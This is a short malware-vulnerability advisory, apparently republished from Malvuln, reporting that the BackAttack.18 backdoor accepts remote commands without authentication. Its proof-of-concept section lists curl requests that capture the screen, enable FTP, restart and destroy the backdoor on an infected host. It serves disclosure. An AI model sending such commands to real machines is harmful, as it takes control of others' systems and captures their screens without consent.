Backdoor.Win32.BackAttack.18 Missing Authentication ≈ Packet Storm – Digitalmunition




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Published on February 12th, 2021 📆 | 2206 Views ⚑

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Backdoor.Win32.BackAttack.18 Missing Authentication ≈ Packet Storm

Discovery / credits: Malvuln – malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c806d23f4343ab40cf897e9c38b5c1c3.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BackAttack.18
Vulnerability: Multiple Vulnerabilities
Description: BackAttack.18 (v1.8) listens on TCP ports 80 and 11131. It has remote features you can enable like take screenshot, restart the infected system, enable FTP or even destroy the backdoor. The malware allows these commands to be executed without requiring authentication and the FTP server allows anonymous user logon.
Type: PE32
MD5: c806d23f4343ab40cf897e9c38b5c1c3
Vuln ID: MVID-2021-0084
Dropped files:
Disclosure: 02/11/2021

Exploit/PoC:
1) Whos logged on
curl http://x.x.x.x/whoisthere

2) Screen capture
curl http://x.x.x.x/capturescreen

3) Enable FTP
curl http://x.x.x.x/ftpon

4) Restart infected host
curl http://x.x.x.x/restart

5) Destroy the backdoor
curl http://x.x.x.x/destroyyes -v

Destroy action has been executed! -Restart procedure initiated also-

Disclaimer: The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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